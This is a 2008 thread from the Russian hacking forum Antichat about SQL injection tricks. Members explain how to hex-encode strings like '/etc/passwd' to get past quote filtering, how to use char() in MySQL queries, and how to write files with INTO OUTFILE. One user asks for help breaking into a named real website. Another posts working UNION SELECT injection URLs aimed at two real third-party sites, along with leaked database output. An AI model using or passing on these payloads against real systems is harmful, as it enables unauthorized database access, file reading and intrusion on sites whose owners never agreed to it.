Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
25.07.2008, 00:57
|
|
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766
Репутация:
228
|
|
Сообщение от Piflit
USAkid
echo "$hex= "; может echo "hex= "; ?
Не, я делал с рассчетом на то, чтобы кодируемая строка отображалась = сам hex
К примеру
/etc/passwd= 0x2f6574632f706173737764 
|
|
|
25.07.2008, 01:03
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756
Репутация:
2032
|
|
Сообщение от USAkid
Не, я делал с рассчетом на то, чтобы кодируемая строка отображалась = сам hex
К примеру
/etc/passwd= 0x2f6574632f706173737764 я об этом и написал.
|
|
|
|
25.07.2008, 06:02
|
|
Новичок
Регистрация: 20.06.2008
Сообщений: 8
Провел на форуме:
138846
Репутация:
21
|
|
Как можно провести запрос в БД MySQL если одинарная кавычка фильтруется? Пример запроса:
UPDATE namedb.pfx_table SET column = 'e10adc3949ba59abbe56e057f20f883e' WHERE pfx_tble.id =1 LIMIT 1
пробывал использовать char() не вышло  Пример:
UPDATE namedb.pfx_table SET column = char(0x2765313061646333393439626135396162626535366 5303537663230663838336527) WHERE pfx_tble.id =1 LIMIT 1 |
|
|
|
25.07.2008, 08:08
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186
Репутация:
905
|
|
Код:
UPDATE namedb.pfx_table SET column = 0x6531306164633339343962613539616262653536653035376632306638383365
WHERE pfx_tble.id =1 LIMIT 1
или
UPDATE namedb.pfx_table SET column = char(0x65,0x31,...)
WHERE pfx_tble.id =1 LIMIT 1
одинарную кавычку не нужно хексить |
|
|
|
25.07.2008, 08:36
|
|
Новичок
Регистрация: 20.06.2008
Сообщений: 8
Провел на форуме:
138846
Репутация:
21
|
|
Как можно провести запрос в БД MySQL если одинарная кавычка фильтруется? Пример запроса:
UPDATE namedb.pfx_table SET column = 'e10adc3949ba59abbe56e057f20f883e' WHERE pfx_tble.id =1 LIMIT 1
пробывал использовать char() не вышло Пример:
UPDATE namedb.pfx_table SET column = char(0x2765313061646333393439626135396162626535366 5303537663230663838336527) WHERE pfx_tble.id =1 LIMIT 1
Разобрался, оказывается я с чаром напутал запрос должен был выглядеть так:
UPDATE namedb.pfx_table SET column = char(92,39,101,49,48,97,100,99,51,57,52,57,98,97,5 3,57,97,98,98,101,53,54,101,48,53,55,102,50,48,102 ,56,56,51,101,92,39) WHERE pfx_tble.id =1 LIMIT 1
И как бы это печальным не показалось, но запрос провести не возможно через обычную SQL инъекцию и File_priv = No
|
|
|
|
25.07.2008, 19:44
|
|
Новичок
Регистрация: 22.07.2008
Сообщений: 3
Провел на форуме:
15306
Репутация:
0
|
|
День добрый!... Болею, дома валяюсь один.... И вот решил воплотить в жизнь одну мечту. сайтоломанием заняться. не в плохом понимании, конечно же. а именно те, которые есть за что ломать. вот адресс _http://www.youvebeenleftbehind.com Кое-что нашёл _http://www.youvebeenleftbehind.com/WebResource.axd?d=0' Если с этим что-то можно сделать, то как? Причина взлома- "кто зарегается на их сайте и даст 40 баксов, тот попадёт в рай, а стальные останутся на Земле под 7-ми летним правлением антихриста"... Короче деньги имеют с глупых граждан.
p.s.: Объясните мне, как ламеру. а то всё, что я в своей жизни видел из программирования, так это Delphi... причём уже 4 года не занимался этим.
|
|
|
|
25.07.2008, 20:34
|
|
Постоянный
Регистрация: 13.02.2008
Сообщений: 505
Провел на форуме:
2916750
Репутация:
277
|
|
Код:
http://www.isc.org.au/display_page.php?id=-1+union+select+table_name+from+INFORMATION_SCHEMA.TABLES+limit+20,1/*
Код:
http://www.guillembalague.com/interview_desp.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+INFORMATION_SCHEMA.TABLES/*
my1476340166B@localhost |
|
|
|
25.07.2008, 20:41
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Сообщение от .Slip
mysql hex
Разве это сработает с select into outfile ?)Там же хексить нельзя оО.
|
|
|
|
25.07.2008, 20:45
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
60% понял из того,что ты написал. А что ты собирался взломатьн а том сайте?))То,что ты написал - на sql никак не тянет))
|
|
|
|
25.07.2008, 20:49
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337
Репутация:
3486
|
|
Нельзя хексить путь файла в который сохраняешь. Хексить же записываемые данные можно. Без кавычек ес-но
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
